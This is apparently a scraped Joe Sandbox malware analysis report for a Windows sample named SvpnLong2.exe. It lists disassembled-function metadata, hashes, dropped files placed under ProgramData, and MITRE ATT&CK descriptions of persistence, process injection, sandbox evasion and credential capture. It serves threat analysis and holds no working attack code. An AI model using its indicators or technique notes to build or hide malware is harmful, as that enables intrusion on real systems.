_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73D1CA9A5

Strings

, xrefs: 00007FF73D1CA90C

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: MessagePost_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3882714859-3916222277
Opcode ID: 4914b8256ecab36f4fd6b595dfc67f5a411be51a6585e9d9d24558f354d24091
Instruction ID: d940ab3db392811e3d4a2a301bc00a9d11fc675e6238350845a6029bdb644ea5
Opcode Fuzzy Hash: 4914b8256ecab36f4fd6b595dfc67f5a411be51a6585e9d9d24558f354d24091
Instruction Fuzzy Hash: 0041F722A0C78A92E621AB55F401769A360FB88BF4F965330DEAC07BD5EF3CD581D310

Function 00007FF73D1DE650 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF73D1DE767
GetLastError.KERNEL32 ref: 00007FF73D1DE789

Strings

U, xrefs: 00007FF73D1DE713

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 5a806dc1491d0c6271bbbc8e5008386da0c6929f9748225bac500225c6b8e426
Instruction ID: 5dc900f1469d8421215cb875e8fb3e0be841ded3912939ed0476329ecdb15cdc
Opcode Fuzzy Hash: 5a806dc1491d0c6271bbbc8e5008386da0c6929f9748225bac500225c6b8e426
Instruction Fuzzy Hash: 0541C123A1DA8A92DB60AFA5F4543B9A760FB88784F824031EE8D87794EF3CD501D750

Function 000002177939D904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779393334: _getptd.LIBCMT ref: 0000021779393346

_errno.LIBCMT ref: 000002177939D84C
_invalid_parameter_noinfo.LIBCMT ref: 000002177939D857

Strings

cmd.exe, xrefs: 000002177939D82E

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction ID: c67e6e4f8105814a63749c3a68bacb672c39772d69c4751705f09c6fe0ebc6b5
Opcode Fuzzy Hash: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction Fuzzy Hash: 7B21DD3351E68482F7614F14945D3F9E6B0A3E97FCF186111F6B6076CACA24CC438701

Function 00000217793A620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217793A62CF

Strings

csm, xrefs: 00000217793A628B
csm, xrefs: 00000217793A6232

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: 1eb82c1adafdc61eeeb56acb9799cc93c252dc697ac735ad8d558afc1dc0af64
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: EF31FA73105A44CAEB608F65C48839C7B75F3ACBADF862215EA4D0BB98C735C891C784

Function 00000217793A630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00000217793A0B80: _getptd.LIBCMT ref: 00000217793A0B8D
Part of subcall function 00000217793A0B80: _getptd.LIBCMT ref: 00000217793A0BA0

_getptd.LIBCMT ref: 00000217793A636C
_getptd.LIBCMT ref: 00000217793A637F

Strings

csm, xrefs: 00000217793A632B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction ID: 358f582e494b0d1638835eb2fa529b0507d04f12fce09ed409da28a2af8db85a
Opcode Fuzzy Hash: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction Fuzzy Hash: BC018836146A45C9EBB09F3288583EC73B4F7B9B6DF492121EA0D0B6D6CB25C9878300

Function 000002177939FC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 000002177939FC36

Part of subcall function 000002177939581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000021779393332), ref: 0000021779395897

std::exception::exception.LIBCMT ref: 000002177939FC70

Part of subcall function 0000021779393854: std::exception::operator=.LIBCMT ref: 0000021779393870

Strings

regular expression error, xrefs: 000002177939FC20

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction ID: f48e220264e468146865ee547f3929f5160c13112e0676a7c3e0e3fffa3b3b20
Opcode Fuzzy Hash: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction Fuzzy Hash: 9EF0D176609B4A92DB10CF50F484189F370F3AC3A8F506012EB8C07B69DB38C99ACB00

Function 000002177938F130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 000002177938F166
wsprintfW.USER32 ref: 000002177938F184

Part of subcall function 000002177938EF20: FindFirstFileW.KERNEL32 ref: 000002177938EFF0

Strings

%s%s, xrefs: 000002177938F175

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction ID: 958d686972e7be58e88d84f026a778d26cc840499a9daad565d7e2ebc70a75ae
Opcode Fuzzy Hash: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction Fuzzy Hash: 2901F43121D98585EA209F21FC9D7EAF370F7EC798F446111EA8D47695DE3CC1468B40

Function 00000217790AD7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790AD7B6
__doserrno.LIBCMT ref: 00000217790AD7C1

Strings

M, xrefs: 00000217790AD7B0

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction ID: f54c659e12a380f83b8f0231192996081c45e0ebd78f27338b40a3eb341a5344
Opcode Fuzzy Hash: 55f1f2b5d4f88ce944560703f07ace5cba4083014a431a69087704bf253f0c3d
Instruction Fuzzy Hash: CEE0DF7222C2084EF3096F28E4073F877D0FB93330F80412AE0AA965C2DA7A00038791

Function 00007FF73D1DA590 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF73D1DA5B9
__crtDownlevelLocaleNameToLCID.LIBCPMT ref: 00007FF73D1DA5D0

Strings

LocaleNameToLCID, xrefs: 00007FF73D1DA59C, 00007FF73D1DA5A6

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: DownlevelLocaleName__crttry_get_function
String ID: LocaleNameToLCID
API String ID: 404522899-2050040251
Opcode ID: ff1e8b1d26c56ae76a8f1a34358a17a3ebd64fa55d651b56af5456e7e1f2b463
Instruction ID: f96d6c0bbeb1f151bbcb07139ab3dbeb391e589e72ebd42fb3f453c616d88cc6
Opcode Fuzzy Hash: ff1e8b1d26c56ae76a8f1a34358a17a3ebd64fa55d651b56af5456e7e1f2b463
Instruction Fuzzy Hash: 3AE06D22A0C68FA3FA04BBD8B4600F5A321AF98354FDA4031D61E06255EF3CE895A370

Function 000002177939DDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002177939DDFE
__doserrno.LIBCMT ref: 000002177939DE09

Strings

M, xrefs: 000002177939DDF8

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction ID: 273baad59b95a770f97c9f0a463515f646fe945a5b052e92a42b0499889524ca
Opcode Fuzzy Hash: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction Fuzzy Hash: A4E0ECB350554489F753AF64F8467E96AA0A7A537CF829212ABA80A6C2CA7C44C78B10

Function 0000021779095B08 Relevance: 5.1, APIs: 4, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000021779095B43

Part of subcall function 00000217790A36E0: _errno.LIBCMT ref: 00000217790A3700

free.LIBCMT ref: 0000021779095B6B
free.LIBCMT ref: 0000021779095B85
free.LIBCMT ref: 0000021779095BB3

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction ID: ad82aa6468f48417a39141b5893fabd13324e6380b85a043d393942eccc4f890
Opcode Fuzzy Hash: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction Fuzzy Hash: 65211031129E0A5FDBA6EF2D84987A5B3F1FBEC320F540569944AD32D2DE30E846C790

Function 0000021779386150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000002177938618B

Part of subcall function 0000021779393D28: HeapFree.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D3E
Part of subcall function 0000021779393D28: _errno.LIBCMT ref: 0000021779393D48
Part of subcall function 0000021779393D28: GetLastError.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D50

free.LIBCMT ref: 00000217793861B3
free.LIBCMT ref: 00000217793861CD
free.LIBCMT ref: 00000217793861FB

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction ID: 13d7a736f5e0af251fd789c93d42adb2ca13d38d9b13a75965d414942ac669fe
Opcode Fuzzy Hash: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction Fuzzy Hash: 72212C3520AE4041DA15AF12E6557EDE370EBA8BE8F0874219F4A07BD6DE28D4528340

Function 0000021779392020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000002177939209A
VirtualFree.KERNEL32(?,?,00000000,0000021779391EDE,?,?,?,000002177938E182), ref: 00000217793920B5
GetProcessHeap.KERNEL32(?,?,00000000,0000021779391EDE,?,?,?,000002177938E182), ref: 00000217793920BB
HeapFree.KERNEL32(?,?,00000000,0000021779391EDE,?,?,?,000002177938E182), ref: 00000217793920C9

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction ID: 51a7eb8dbf02fa4fc687541d63d624c5ed72060d57fce31dc1af8ad83f091e86
Opcode Fuzzy Hash: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction Fuzzy Hash: D6115132616A5082EB54CF66D45876DA3B1F7D8FA8F056021EE4A13B98CF34C893C740

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SvpnLong2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\dwgwp\arphaCrashReport64.exe

C:\ProgramData\dwgwp\arphaDump64.dll

C:\Windows\Temp\49ba59abbe56e057.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
SvpnLong2.exe

Function 02143560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Function 021417D0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 112
libraryloaderregistryCOMMON

Function 021414C0 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
libraryloaderregistryCOMMON

Function 02144530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Function 02150180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Function 021574B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Function 01428C09 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 251
networkmemorynativeCOMMON

Function 02141E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Function 021421C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Function 01E50020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457
memorynativeCOMMON

Function 0214FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292
fileCOMMON

